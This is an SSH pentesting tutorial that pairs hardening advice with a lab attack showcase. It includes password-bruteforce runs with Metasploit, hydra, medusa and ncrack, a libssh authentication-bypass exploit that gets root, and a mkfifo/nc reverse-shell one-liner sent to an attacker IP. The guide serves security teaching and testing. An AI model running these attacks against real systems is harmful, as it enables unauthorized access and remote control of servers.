PENTESTING

SSH Pentesting Guide

A Comprehensive Guide to Breaking SSH. Written by Alexandre Zanni.

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 967
SHARES

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 SSH Pentesting Guide

In this guide, I will:

Quickly introduce the SSH protocol and implementations.

Expose some common con guration mistakes then showcase some attacks on the protocol &
implementations.
Present some SSH pentesting & blue team tools.
Give a standard reference for security guidelines and nally talk about an article I previously wrote on
the topic of network pivoting.

If you’d like to suggest an amendment or contribute to this article send us an email through to
[email protected]. We’ll also do our best to propagate additions and suggestions from social
media!

Turgensec provides cost e ective bespoke security and security testing to individuals and
organizations.

Our service o erings include penetration testing, open source counterintelligence, open source
intelligence and digital asset management. Contact us by clicking here.

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 Table of Contents [ show ]

What are SSH and SFTP?

SSH is a secure remote shell protocol used for operating network services
securely over an unsecured network. The default SSH port is 22, it’s common to see it open on
servers on Internet or Intranets.

SFTP is the SSH File Transfer Protocol, a protocol used to transfer les over an SSH connection. Most
SSH implementations are also supporting SFTP.

SSH servers/libs

The most famous and common SSH server and client is openSSH (OpenBSD Secure Shell). It’s a
strong implementation which is well maintained and was rst released in 1999. So this is the
implementation you will see the most often on BSD, Linux and even Windows as it is shipped in
Windows since Windows 10.

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 But openSSH is not the only implementation, here are other ones:

SSH servers:

openSSH – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10
Dropbear – SSH implementation for environments with low memory and processor resources, shipped in
OpenWrt
PuTTY – SSH implementation for Windows, the client is commonly used but the use of the server is
rarer
CopSSH – implementation of OpenSSH for Windows

SSH libraries (implementing server-side):

libssh – multiplatform C library implementing the SSHv2 protocol with bindings in Python, Perl and R;
it’s used by KDE for sftp and by GitHub for the git SSH infrastructure
wolfSSH – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-
constrained environments
Apache MINA SSHD – Apache SSHD java library is based on Apache MINA
paramiko – Python SSHv2 protocol library

Common con guration mistakes

Root login

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 By default most SSH server implementation will allow root login, it is advised to disable it because if
the credentials of this accounts leaks, attackers will get administrative privileges directly and this will
also allow attackers to conduct bruteforce attacks on this account.

How to disable root login for openSSH:

1. Edit SSH server con guration sudoedit /etc/ssh/sshd_config

2. Change #PermitRootLogin yes into PermitRootLogin no
3. Take into account con guration changes: sudo systemctl daemon-reload
4. Restart the SSH server sudo systemctl restart sshd

SFTP command execution

Another common SSH miscon guration is often seen in SFTP con guration. Most of the time when
creating a SFTP server the administrator want users to have a SFTP access to share les but not to
get a remote shell on the machine. So they think that creating a user, attributing him a placeholder
shell (like /usr/bin/nologin or /usr/bin/false) and chrooting him in a jail is enough to avoid a
shell access or abuse on the whole le system. But they are wrong, a user can ask to execute a
command right after authentication before it’s default command or shell is executed. So to bypass
the placeholder shell that will deny shell access, one only has to ask to execute a command (eg.
/bin/bash) before, just by doing:

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 $ ssh -v [email protected] id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting [email protected]
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype [email protected] want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype [email protected] reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh [email protected] /bin/bash

Here is an example of secure SFTP con guration (/etc/ssh/sshd_config – openSSH) for the user noraj:

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 Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

This con guration will allow only SFTP: disabling shell access by forcing the start command and disabling
TTY access but also disabling all kind of port forwarding or tunneling.

Authentication methods

On high security environment it’s a common practice to enable only key-based or two factor
authentication rather than the simple factor password based authentication. But often the stronger
authentication methods are enabled without disabling the weaker ones. A frequent case is enabling
publickey on openSSH con guration and setting it as the default method but not disabling
password. So by using the verbose mode of the SSH client an attacker can see that a weaker method
is enabled:

$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019

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 ...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

For example if an authentication failure limit is set and you never get the chance to reach the password
method, you can use the PreferredAuthentications option to force to use this method.

$ ssh -v 192.168.1.94 -o PreferredAuthentications=password

...
debug1: Next authentication method: password

Review the SSH server con guration is necessary to check that only expected
methods are authorized. Using the verbose mode on the client can help to see
the e ectiveness of the con guration.

Attack showcase

Now we’ll see a set of attack examples that you can reproduce on some SSH server implementations.

Password guessing/bruteforce attack

I will now run through an improved variation of “brute forcing” an SSH user password with a password
dictionary using four tools: the metasploit framework, hydra, medusa and ncrack.

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 In all cases we will target the machine 192.168.1.94, on port 22 and will bruteforce only the password of
the user noraj.

Read the help messages given below if you don’t understand an argument/option.

Metasploit

With Metasploit:

$ msf5 > search ssh

Matching Modules
================

# Name Disclosure Date

Rank Check Description
- ---- --------------- ---
- ----- -----------
...
17 auxiliary/scanner/ssh/ssh_login
normal Yes SSH Login Check Scanner
...
msf5 > use 17
msf5 auxiliary(scanner/ssh/ssh_login) > show options

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 Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in
the current database
DB_ALL_PASS false no Add all passwords in the current
database to the list
DB_ALL_USERS false no Add all users in the current database
to the list
PASSWORD no A specific password to authenticate
with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR
identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works
for a host
THREADS 1 yes The number of concurrent threads (max
one per host)

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 USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords
separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for
all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all
attempts

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE

/usr/share/wordlists/password/rockyou.txt
PASS_FILE => /usr/share/wordlists/password/rockyou.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.94
RHOSTS => 192.168.1.94
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set username noraj
username => noraj
msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 192.168.1.94:22 - Success: 'noraj:noraj' ''

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 [*] Command shell session 1 opened (192.168.1.83:37291 -> 192.168.1.94:22) at 2020-01-
02 21:33:33 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hydra

With Hydra:

$ hydra -l noraj -P /usr/share/wordlists/password/rockyou.txt -e s ssh://192.168.1.94

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service
organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-02 21:44:28

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended
to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries
(l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.94:22/
[22][ssh] host: 192.168.1.94 login: noraj password: noraj
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-02 21:44:33

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 Extract of the help message:

-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
service the service to crack (see below for supported protocols)

Medusa

With Medusa:

$ medusa -h 192.168.1.94 -u noraj -P /usr/share/wordlists/password/rockyou.txt -e s -M

ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>

ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0 complete) User: noraj (1 of 1, 0

complete) Password: noraj (1 of 14344391 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj Password: noraj [SUCCESS]

Extract of the help message:

-h [TEXT] : Target hostname or IP address

-u [TEXT] : Username to test

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 -P [FILE] : File containing passwords to test
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)

Ncrack

With ncrack:

$ ncrack --user noraj -P /usr/share/wordlists/password/rockyou.txt ssh://192.168.1.94

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02 21:50 CET

Discovered credentials for ssh on 192.168.1.94 22/tcp:

192.168.1.94 22/tcp ssh: 'noraj' 'noraj'

Ncrack done: 1 service scanned in 3.00 seconds.

Ncrack finished.

Extract of the help message:

-P <filename>: password file

--user <username_list>: comma-separated username list

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 Exploit – LibSSH RCE

CVE-2018-10933 is the reference for a vulnerability impacting libssh library. This vulnerability allows
unauthorized access by bypassing the authentication.

libssh versions 0.6 and above have an authentication bypass vulnerability in the server code. By presenting
the server an SSH2_MSG_USERAUTH_SUCCESS message in place of the SSH2_MSG_USERAUTH_REQUEST
message which the server would expect to initiate authentication, the attacker could successfully
authentciate without any credentials. Advisory

When you nd a vulnerable version with nmap you should see something like that:

22/tcp open ssh libssh 0.8.3 (protocol 2.0)

searchsploit (the tool used to locally browse the Exploit-DB) shows the existing exploits available for
libssh.

searchsploit libssh
---------------------------------------------------------------------------------------
----- ----------------------------------------
Exploit Title
| Path

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 | (/usr/share/exploitdb/)
---------------------------------------------------------------------------------------
----- ----------------------------------------
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
| exploits/linux/remote/46307.py
libSSH - Authentication Bypass
| exploits/linux/remote/45638.py
---------------------------------------------------------------------------------------
----- ----------------------------------------
Shellcodes: No Result

So we can use the exploit to execute a command on the target in order to con rm it is working.

$ python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 id

uid=0(root) gid=0(root) groups=0(root)

Instead of just running a command we can try to execute a reverse shell.

First we start the listener on our machine: sudo ncat -nlp 80.

Then we use a sh reverse shell payload in the exploit:

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 python /usr/share/exploitdb/exploits/linux/remote/46307.py 192.168.1.94 22 "rm
/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"

Fuzzing

As fuzzing is complex, I’m only going to highlight two approaches:

Generic & automated.

Speci c & manual.

Generic & automated approach

It’s possible to use a script like sshfuzz.pl to automatically fuzz a live SSH server whatever is the
implementation.

It has the advantage of being simple but it’s not very targeted so it’s going to take a lot of time and miss a
lot of results.

Install dependencies and launch the script is as easy as writing those two lines:

$ cpan Net::SSH2
$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj

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 Another automated approach that will also work on any live SSH server is to use the metasploit module
auxiliary/fuzzers/ssh/ssh_version_2:

msf5 > use auxiliary/fuzzers/ssh/ssh_version_2

msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS 192.168.1.94
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run
[*] Running module against 192.168.1.94

[*] 192.168.1.94:22 - Fuzzing with iteration 100 using fuzzer_string_giant

[*] 192.168.1.94:22 - Fuzzing with iteration 200 using fuzzer_string_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 300 using fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 400 using fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 500 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 600 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 700 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 800 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 900 using fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 1000 using fuzzer_string_paths_giant
...

Using those tools is easy but you have low chance of nding something exploitable.

Custom & manual approach

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 If you want to nd more signi cant results and have the time to familiarize yourself with the targeted
implementation you can opt for a manual approach.

Here the technique is to use an advanced generic fuzzer on a self-run SSH server and modify the source
code to optimize the test execution time. So it will require to con gure the fuzzer, con gure and build the
targeted implementation, detecting the crashes, reducing the use of resource-intensive functions to make
the fuzz faster, increasing coverage, create input test-cases and input dictionaries and having a deep
understanding of the SSH protocol and of the implementation.

Here is an example of Vegard Nossum Fuzzing the OpenSSH daemon using AFL.

Related Tools & Resources

“HASSH” is a network ngerprinting standard which can be used to identify speci c Client and Server
SSH implementations. The ngerprints can be easily stored, searched and shared in the form of an
MD5 ngerprint.

HASSH is a standard that helps blue teams to detect, control and investigate brute force or credential
stu ng password attempts, ex ltration of data, network discovery and lateral movement, etc.

ssh-audit is an SSH server auditing tool (banner, key exchange, encryption, mac, compression, compatibility,
security, etc).

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 It’s handy for professional pentesters to quickly detect the target version and knowing which algorithms are
available on the remote server to be able to give algorithm recommendations to the customer.

Example of use:

$ ssh-audit 192.168.1.94
# general
(gen) banner: SSH-2.0-OpenSSH_7.9
(gen) software: OpenSSH 7.9
(gen) compatibility: OpenSSH 7.3+, Dropbear SSH 2016.73+
(gen) compression: enabled ([email protected])

# key exchange algorithms

(kex) curve25519-sha256 -- [warn] unknown algorithm
(kex) [email protected] -- [info] available since OpenSSH 6.5,
Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7,
Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7,
Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves

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 `- [info] available since OpenSSH 5.7,
Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus
(possibly weak)
`- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3,
Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3,
Dropbear SSH 2016.73
(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 3.9,
Dropbear SSH 0.53

# host-key algorithms
(key) rsa-sha2-512 -- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 -- [info] available since OpenSSH 7.2
(key) ssh-rsa -- [info] available since OpenSSH 2.5.0,
Dropbear SSH 0.28
(key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves
`- [warn] using weak random number
generator could reveal the key
`- [info] available since OpenSSH 5.7,

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 Dropbear SSH 2013.62
(key) ssh-ed25519 -- [info] available since OpenSSH 6.5

# encryption algorithms (ciphers)

(enc) [email protected] -- [info] available since OpenSSH 6.5
`- [info] default cipher since OpenSSH 6.9.
(enc) aes128-ctr -- [info] available since OpenSSH 3.7,
Dropbear SSH 0.52
(enc) aes192-ctr -- [info] available since OpenSSH 3.7
(enc) aes256-ctr -- [info] available since OpenSSH 3.7,
Dropbear SSH 0.52
(enc) [email protected] -- [info] available since OpenSSH 6.2
(enc) [email protected] -- [info] available since OpenSSH 6.2

# message authentication code algorithms

(mac) [email protected] -- [warn] using small 64-bit tag size
`- [info] available since OpenSSH 6.2
(mac) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [info] available since OpenSSH 6.2
(mac) [email protected] -- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 6.2
(mac) [email protected] -- [warn] using encrypt-and-MAC mode

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 `- [warn] using small 64-bit tag size
`- [info] available since OpenSSH 4.7
(mac) [email protected] -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9,
Dropbear SSH 2013.56
(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9,
Dropbear SSH 2013.56
(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode
`- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 2.1.0,
Dropbear SSH 0.28

# algorithm recommendations (for OpenSSH 7.9)

(rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
(rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
(rec) -diffie-hellman-group-exchange-sha256 -- kex algorithm to remove
(rec) -ecdsa-sha2-nistp256 -- key algorithm to remove
(rec) -hmac-sha2-512 -- mac algorithm to remove

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 (rec) [email protected] -- mac algorithm to remove
(rec) -hmac-sha2-256 -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove
(rec) -hmac-sha1 -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove
(rec) [email protected] -- mac algorithm to remove

General Exploit Dev Resources

Though (beyond this article) not much really exists for SSH speci c exploit development, many of the same
general trends apply. Many books & articles have covered the development of zero-day stack & heap-based
exploits in detail, some of which are covered in the appropriate sections of our books and resources page.
(TLDR; Corelan & Shellcoders Hackers Handbook are still the best).

Some of the most notable remote SSH exploits of recent times are listed below as a quick non-
comprehensive shortlist –

https://www.exploit-db.com/exploits/18557 ~ Sysax 5.53 – SSH ‘Username’ Remote Bu er Over ow

https://www.exploit-db.com/exploits/45001 ~ OpenSSH < 6.6 SFTP – Command Execution
https://www.exploit-db.com/exploits/45233 ~ OpenSSH 2.3 < 7.7 – Username Enumeration
https://www.exploit-db.com/exploits/46516 ~ OpenSSH SCP Client – Write Arbitrary Files

SSH Security guidelines

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 Mozilla is giving recommendations to help secure an OpenSSH server in this reference guide.

Best current practices regarding secure SSH con guration are also given in a guide called Applied Crypto
Hardening. Currently examples of con guration are given for OpenSSH, Cisco ASA and Cisco IOS. The source
of the guide is also available.

Pivoting

In 2019, I published an article about network pivoting Etat de l’art du pivoting réseau en 2019 [fr-FR].

This article addresses the following topics that are related to SSH:

SSH local port forwarding

SSH reverse remote port forwarding
SSH dynamic port forwarding
SSH reverse remote port forwarding + proxy SOCKS
VPN over SSH
sshuttle – Transparent proxy over ssh
Chisel – HTTP tunnel via SSH

Those methods are helpful for a professional red teamer to make lateral movement in the target network.

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 This is a community article. If you want to chat to other cyber security experts, contribute articles or
collaborate with us, join our Discord channel by clicking here.

About the author

My name is Alexandre ZANNI aka noraj. I’m a Cybersecurity engineer, security auditor, pentester and
ethical hacker. Also I’m a sta member of the RTFM association and a developer of BlackArch Linux.

Link – pwn.by/noraj

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 Table of Contents [ hide ]

What are SSH and SFTP?

SSH servers/libs
Common con guration mistakes
Root login
SFTP command execution
Authentication methods
Attack showcase
Password guessing/bruteforce attack
Exploit – LibSSH RCE
Fuzzing
Related Tools & Resources
General Exploit Dev Resources
SSH Security guidelines
Pivoting
About the author

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